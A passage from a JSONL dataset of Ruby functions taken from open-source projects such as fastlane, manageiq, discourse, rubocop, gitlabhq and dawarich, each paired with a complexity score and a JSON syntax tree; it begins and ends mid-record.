build\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"no_skip_current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_NO_SKIP_CURRENT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Don't skip building the Carthage project (in addition to its dependencies)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"derived_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_DERIVED_DATA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use derived data folder at path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"verbose\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_VERBOSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Print xcodebuild output inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_PLATFORM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Define which platform to build for\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"platform\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_platforms\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},\"downcase\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Please pass a valid platform. Use one of the following: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_platforms\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"cache_builds\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_CACHE_BUILDS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"By default Carthage will rebuild a dependency regardless of whether it's the same resolved version as before. Passing the --cache-builds will cause carthage to avoid rebuilding a dependency if it can\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"frameworks\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Framework name or names to archive, could be applied only along with the archive command\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"output\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Output name for the archive, could be applied only along with the archive command. Use following format *.framework.zip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"framework.zip\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Please pass a valid string for output. Use following format *.framework.zip\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"configuration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_CONFIGURATION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Define which build configuration to use when building\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"chomp\",{\"type\":\"str\",\"children\":[\" \"]}]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Please pass a valid build configuration. You can review the list of configurations for this project using the command: xcodebuild -list\"]}]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"toolchain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_TOOLCHAIN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Define which xcodebuild toolchain to use when building\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"project_directory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_PROJECT_DIRECTORY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Define the directory containing the Carthage project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"new_resolver\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_NEW_RESOLVER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use new resolver when resolving dependency graph\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"log_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_LOG_PATH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to the xcode build output\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_xcframeworks\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_USE_XCFRAMEWORKS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Create xcframework bundles instead of one framework per platform (requires Xcode 12+)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"archive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_ARCHIVE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Archive built frameworks from the current project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"executable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_CARTHAGE_EXECUTABLE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to the `carthage` executable on your machine\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"str\",\"children\":[\"carthage\"]}]}]}]}]}]}","id":"24ff467f-1eda-4f5b-b96b-c1ceae64dec8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_policy.rb","start_line":452,"raw_source":"def self.get_expanded_profiles_and_policies(target)\n    # get profiles and policies from target object\n    target_policies = target.get_policies\n    target_profiles = separate_profiles_from_policies(target_policies)\n\n    # get profiles and policies from associations\n    assoc_policies =\n      associations_to_get_policies.collect do |assoc|\n        next unless target.respond_to?(assoc)\n\n        obj = target.send(assoc)\n        next unless obj\n\n        obj.get_policies\n      end.compact.flatten\n    assoc_profiles = separate_profiles_from_policies(assoc_policies)\n\n    [target_profiles.concat(assoc_profiles), target_policies.concat(assoc_policies).flatten.compact.uniq]\n  end","complexity_score":32.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_expanded_profiles_and_policies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_policies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"get_policies\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_profiles\",{\"type\":\"send\",\"children\":[null,\"separate_profiles_from_policies\",{\"type\":\"lvar\",\"children\":[\"target_policies\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"assoc_policies\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"associations_to_get_policies\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assoc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"get_policies\"]}]}]},\"compact\"]},\"flatten\"]}]},{\"type\":\"lvasgn\",\"children\":[\"assoc_profiles\",{\"type\":\"send\",\"children\":[null,\"separate_profiles_from_policies\",{\"type\":\"lvar\",\"children\":[\"assoc_policies\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_profiles\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"assoc_profiles\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_policies\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"assoc_policies\"]}]},\"flatten\"]},\"compact\"]},\"uniq\"]}]}]}]}","id":"0b45c04a-606d-4060-8ca2-3c0d4fc27999"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20140808051823_create_topic_search_index.rb","start_line":4,"raw_source":"def up\n    # used for similarity search\n    create_table :topic_search_data, id: false do |t|\n      t.integer :topic_id, null: false, primary_key: true\n      t.text :raw_data\n      t.string :locale, null: false\n      t.tsvector :search_data\n    end\n\n    execute \"CREATE INDEX idx_search_topic ON topic_search_data USING gin (search_data)\"\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"topic_search_data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"raw_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"tsvector\",{\"type\":\"sym\",\"children\":[\"search_data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX idx_search_topic ON topic_search_data USING gin (search_data)\"]}]}]}]}","id":"5c8a24b8-6a67-4fce-a65a-529b42711ac3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/else_alignment.rb","start_line":131,"raw_source":"def check_alignment(base_range, else_range)\n          return unless begins_its_line?(else_range)\n\n          @column_delta = column_offset_between(base_range, else_range)\n          return if @column_delta.zero?\n\n          message = format(\n            MSG,\n            else_range: else_range.source,\n            base_range: base_range.source[/^\\S*/]\n          )\n          add_offense(else_range, message: message) do |corrector|\n            autocorrect(corrector, else_range)\n          end\n        end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check_alignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_range\"]},{\"type\":\"arg\",\"children\":[\"else_range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"begins_its_line?\",{\"type\":\"lvar\",\"children\":[\"else_range\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@column_delta\",{\"type\":\"send\",\"children\":[null,\"column_offset_between\",{\"type\":\"lvar\",\"children\":[\"base_range\"]},{\"type\":\"lvar\",\"children\":[\"else_range\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@column_delta\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"else_range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"else_range\"]},\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_range\"]},\"source\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\S*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"else_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"else_range\"]}]}]}]}]}","id":"62f2b621-5d7b-443e-80cc-c1f12d905da4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/commit_references_type.rb","start_line":9,"raw_source":"def self.field_for_tipping_refs(field_name, field_description)\n      field field_name, ::Types::Projects::CommitParentNamesType,\n        null: true,\n        calls_gitaly: true,\n        description: field_description do\n          argument :limit, GraphQL::Types::Int,\n            required: true,\n            default_value: 100,\n            description: 'Number of ref names to return.',\n            validates: { numericality: { within: 1..1000 } }\n        end\n    end","complexity_score":3.43,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"field_for_tipping_refs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_name\"]},{\"type\":\"arg\",\"children\":[\"field_description\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"field\",{\"type\":\"lvar\",\"children\":[\"field_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Types\"]},\"Projects\"]},\"CommitParentNamesType\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"calls_gitaly\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"field_description\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"argument\",{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"Types\"]},\"Int\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Number of ref names to return.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validates\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"numericality\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"within\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]}]}]}]}]}]}","id":"4a4ccafe-a902-4168-9b92-87665745baac"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/tracks/segmentation.rb","start_line":159,"raw_source":"def should_finalize_segment?(segment_points, grace_period_minutes = 5)\n    return false if segment_points.size < 2\n\n    last_point = segment_points.last\n    last_timestamp = last_point.timestamp\n    current_time = Time.current.to_i\n\n    # Don't finalize if the last point is too recent (within grace period)\n    time_since_last_point = current_time - last_timestamp\n    grace_period_seconds = grace_period_minutes * 60\n\n    time_since_last_point > grace_period_seconds\n  end","complexity_score":17.25,"ast_json":"{\"type\":\"def\",\"children\":[\"should_finalize_segment?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"segment_points\"]},{\"type\":\"optarg\",\"children\":[\"grace_period_minutes\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment_points\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"last_point\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment_points\"]},\"last\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_point\"]},\"timestamp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time_since_last_point\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"last_timestamp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"grace_period_seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grace_period_minutes\"]},\"*\",{\"type\":\"int\",\"children\":[60]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lv